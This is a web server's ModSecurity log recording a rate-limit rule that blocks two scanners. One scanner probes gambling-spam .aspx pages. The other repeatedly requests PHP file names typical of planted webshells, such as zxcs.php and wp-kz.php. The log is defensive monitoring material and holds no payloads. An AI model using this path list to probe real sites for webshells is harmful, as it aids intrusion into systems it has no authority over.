[Thu Apr 23 20:58:21.512179 2026] [:error] [pid 65000:tid 65045] [client 178.150.14.250:46872] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeoXbb6vRb9j6psK2ZZxyQAAAgw"]
[Thu Apr 23 20:58:24.233221 2026] [:error] [pid 59700:tid 59708] [client 178.150.14.250:46876] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeoXcJXyGZJFeAIDWtkjsQAAAUY"]
[Thu Apr 23 20:58:26.762663 2026] [:error] [pid 64998:tid 65015] [client 178.150.14.250:41700] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeoXcoV5EysYcTLjmwhs6QAAAc0"]
[Thu Apr 23 20:58:29.541776 2026] [:error] [pid 65000:tid 65057] [client 178.150.14.250:41706] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeoXdb6vRb9j6psK2ZZx1QAAAhg"]
[Thu Apr 23 20:58:32.796660 2026] [:error] [pid 43083:tid 43091] [client 178.150.14.250:41720] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeoXeDC5hrvNXosL83J0fwAAAMY"]
[Thu Apr 23 20:58:35.595624 2026] [:error] [pid 65000:tid 65032] [client 178.150.14.250:37870] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeoXe76vRb9j6psK2ZZx5wAAAgM"]
[Thu Apr 23 20:58:38.274211 2026] [:error] [pid 64998:tid 65021] [client 178.150.14.250:37884] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeoXfoV5EysYcTLjmwhtCgAAAdM"]
[Thu Apr 23 20:58:40.852905 2026] [:error] [pid 65000:tid 65032] [client 178.150.14.250:37892] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeoXgL6vRb9j6psK2ZZyAwAAAgM"]
[Thu Apr 23 20:58:43.400964 2026] [:error] [pid 64998:tid 65025] [client 178.150.14.250:37908] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeoXg4V5EysYcTLjmwhtGQAAAdc"]
[Thu Apr 23 20:59:06.267895 2026] [:error] [pid 64967:tid 64980] [client 178.150.14.250:46782] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aeoXmoAV4GfOOdX8Qzpy_wAAAYs"]
[Thu Apr 23 20:59:08.794531 2026] [:error] [pid 42972:tid 43033] [client 178.150.14.250:39372] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aeoXnMOAb-3sOknsk4cxsQAAAFE"]
[Thu Apr 23 20:59:11.379332 2026] [:error] [pid 65000:tid 65050] [client 178.150.14.250:39374] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aeoXn76vRb9j6psK2ZZyagAAAhE"]
[Thu Apr 23 20:59:13.864345 2026] [:error] [pid 42971:tid 42989] [client 178.150.14.250:39376] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aeoXoTEP2_5RswrH8bEnJwAAAAM"]
[Thu Apr 23 20:59:16.533819 2026] [:error] [pid 42971:tid 42987] [client 178.150.14.250:33016] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeoXpDEP2_5RswrH8bEnLgAAAAE"]
[Thu Apr 23 20:59:18.996502 2026] [:error] [pid 64998:tid 65010] [client 178.150.14.250:33032] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeoXpoV5EysYcTLjmwhtRgAAAcg"]
[Thu Apr 23 20:59:21.595432 2026] [:error] [pid 42971:tid 42997] [client 178.150.14.250:33038] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeoXqTEP2_5RswrH8bEnLwAAAAs"]
[Thu Apr 23 20:59:24.132632 2026] [:error] [pid 42972:tid 43025] [client 178.150.14.250:33052] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeoXrMOAb-3sOknsk4cx_gAAAEk"]
[Thu Apr 23 20:59:26.827523 2026] [:error] [pid 65000:tid 65041] [client 178.150.14.250:50948] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeoXrr6vRb9j6psK2ZZynQAAAgg"]
[Thu Apr 23 20:59:30.238620 2026] [:error] [pid 42971:tid 42987] [client 178.150.14.250:50960] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeoXsjEP2_5RswrH8bEnOAAAAAE"]
[Thu Apr 23 20:59:32.828712 2026] [:error] [pid 43083:tid 43088] [client 178.150.14.250:50976] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeoXtDC5hrvNXosL83J0pQAAAMM"]
[Thu Apr 23 20:59:35.466802 2026] [:error] [pid 42972:tid 43021] [client 178.150.14.250:48002] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeoXt8OAb-3sOknsk4cyEQAAAEU"]
[Thu Apr 23 20:59:37.939326 2026] [:error] [pid 64998:tid 65015] [client 178.150.14.250:48012] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeoXuYV5EysYcTLjmwhtZgAAAc0"]
[Thu Apr 23 20:59:40.443531 2026] [:error] [pid 65000:tid 65042] [client 178.150.14.250:48014] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeoXvL6vRb9j6psK2ZZyxAAAAgk"]
[Thu Apr 23 20:59:43.064159 2026] [:error] [pid 64998:tid 65009] [client 178.150.14.250:48024] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeoXv4V5EysYcTLjmwhtfwAAAcc"]
[Thu Apr 23 20:59:45.663918 2026] [:error] [pid 43083:tid 43089] [client 178.150.14.250:54008] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeoXwTC5hrvNXosL83J0rgAAAMQ"]
[Thu Apr 23 20:59:48.270316 2026] [:error] [pid 64998:tid 65015] [client 178.150.14.250:54010] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeoXxIV5EysYcTLjmwhtmgAAAc0"]
[Thu Apr 23 20:59:50.884997 2026] [:error] [pid 42972:tid 43029] [client 178.150.14.250:54012] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeoXxsOAb-3sOknsk4cyMAAAAE0"]
[Thu Apr 23 20:59:53.362860 2026] [:error] [pid 64998:tid 65012] [client 178.150.14.250:54028] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeoXyYV5EysYcTLjmwhtqgAAAco"]
[Thu Apr 23 20:59:55.971564 2026] [:error] [pid 65000:tid 65043] [client 178.150.14.250:51072] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeoXy76vRb9j6psK2ZZy2wAAAgo"]
[Thu Apr 23 20:59:58.577333 2026] [:error] [pid 64998:tid 65002] [client 178.150.14.250:51084] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeoXzoV5EysYcTLjmwhtsAAAAcA"]
[Thu Apr 23 23:09:05.467302 2026] [:error] [pid 65000:tid 65046] [client 40.113.52.123:51899] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeo2Eb6vRb9j6psK2ZbRBwAAAg0"]
[Thu Apr 23 23:09:06.646497 2026] [:error] [pid 64967:tid 64985] [client 40.113.52.123:45945] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeo2EoAV4GfOOdX8QzqBjQAAAZA"]
[Thu Apr 23 23:09:08.880887 2026] [:error] [pid 64998:tid 65016] [client 40.113.52.123:62536] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeo2FIV5EysYcTLjmwiuygAAAc4"]
[Thu Apr 23 23:09:10.834152 2026] [:error] [pid 42973:tid 43067] [client 40.113.52.123:42754] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aeo2Fm6I0QqmmmLTHE05pAAAAJg"]
[Thu Apr 23 23:09:12.024493 2026] [:error] [pid 64998:tid 65021] [client 40.113.52.123:43761] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxcs.php"] [unique_id "aeo2GIV5EysYcTLjmwiuzQAAAdM"]
[Thu Apr 23 23:09:13.774960 2026] [:error] [pid 42972:tid 43037] [client 40.113.52.123:43755] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxcs.php"] [unique_id "aeo2GcOAb-3sOknsk4dj5AAAAFU"]
[Thu Apr 23 23:09:14.906086 2026] [:error] [pid 46953:tid 46967] [client 40.113.52.123:37392] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxcs.php"] [unique_id "aeo2GknlpdHh-P6wKbpMqQAAAks"]
[Thu Apr 23 23:09:17.046552 2026] [:error] [pid 43083:tid 43086] [client 40.113.52.123:45915] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxcs.php"] [unique_id "aeo2HTC5hrvNXosL83KI5AAAAME"]
[Thu Apr 23 23:09:19.528436 2026] [:error] [pid 64998:tid 65023] [client 40.113.52.123:51319] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "aeo2H4V5EysYcTLjmwiu1QAAAdU"]
[Thu Apr 23 23:09:20.969122 2026] [:error] [pid 42972:tid 43032] [client 40.113.52.123:45931] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "aeo2IMOAb-3sOknsk4dj7QAAAFA"]
[Thu Apr 23 23:09:22.460090 2026] [:error] [pid 64998:tid 65011] [client 40.113.52.123:55089] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "aeo2IoV5EysYcTLjmwiu2wAAAck"]
[Thu Apr 23 23:09:23.910899 2026] [:error] [pid 42972:tid 43018] [client 40.113.52.123:62575] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s1.php"] [unique_id "aeo2I8OAb-3sOknsk4dj8wAAAEI"]
[Thu Apr 23 23:09:25.279864 2026] [:error] [pid 42973:tid 43046] [client 40.113.52.123:62586] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aeo2JW6I0QqmmmLTHE05vgAAAIM"]
[Thu Apr 23 23:09:26.010001 2026] [:error] [pid 65000:tid 65053] [client 40.113.52.123:54297] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aeo2Jr6vRb9j6psK2ZbRIgAAAhQ"]
[Thu Apr 23 23:09:28.206030 2026] [:error] [pid 64998:tid 65024] [client 40.113.52.123:53965] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aeo2KIV5EysYcTLjmwiu5AAAAdY"]
[Thu Apr 23 23:09:30.255419 2026] [:error] [pid 42973:tid 43051] [client 40.113.52.123:49127] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aeo2Km6I0QqmmmLTHE05yQAAAIg"]
[Thu Apr 23 23:09:31.161148 2026] [:error] [pid 42971:tid 43010] [client 40.113.52.123:48473] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeo2KzEP2_5RswrH8bE3egAAABg"]
[Thu Apr 23 23:09:33.171562 2026] [:error] [pid 65000:tid 65046] [client 40.113.52.123:57024] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeo2Lb6vRb9j6psK2ZbRKQAAAg0"]
[Thu Apr 23 23:09:35.532110 2026] [:error] [pid 65000:tid 65057] [client 40.113.52.123:53488] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeo2L76vRb9j6psK2ZbRLAAAAhg"]
[Thu Apr 23 23:09:36.870221 2026] [:error] [pid 42972:tid 43019] [client 40.113.52.123:48470] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeo2MMOAb-3sOknsk4dkAAAAAEM"]
[Thu Apr 23 23:09:37.636191 2026] [:error] [pid 64998:tid 65005] [client 40.113.52.123:43991] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeo2MYV5EysYcTLjmwiu8AAAAcM"]
[Thu Apr 23 23:09:39.014918 2026] [:error] [pid 42971:tid 43003] [client 40.113.52.123:41166] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeo2MzEP2_5RswrH8bE3hAAAABE"]
[Thu Apr 23 23:09:40.143703 2026] [:error] [pid 64998:tid 65022] [client 40.113.52.123:62632] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeo2NIV5EysYcTLjmwiu9AAAAdQ"]
[Thu Apr 23 23:09:41.565356 2026] [:error] [pid 43083:tid 43086] [client 40.113.52.123:51363] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aeo2NTC5hrvNXosL83KI9gAAAME"]
[Thu Apr 23 23:09:43.871315 2026] [:error] [pid 65000:tid 65045] [client 40.113.52.123:48474] [client 40.113.52.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeo2N76vRb9j6psK2ZbRLwAAAgw"]
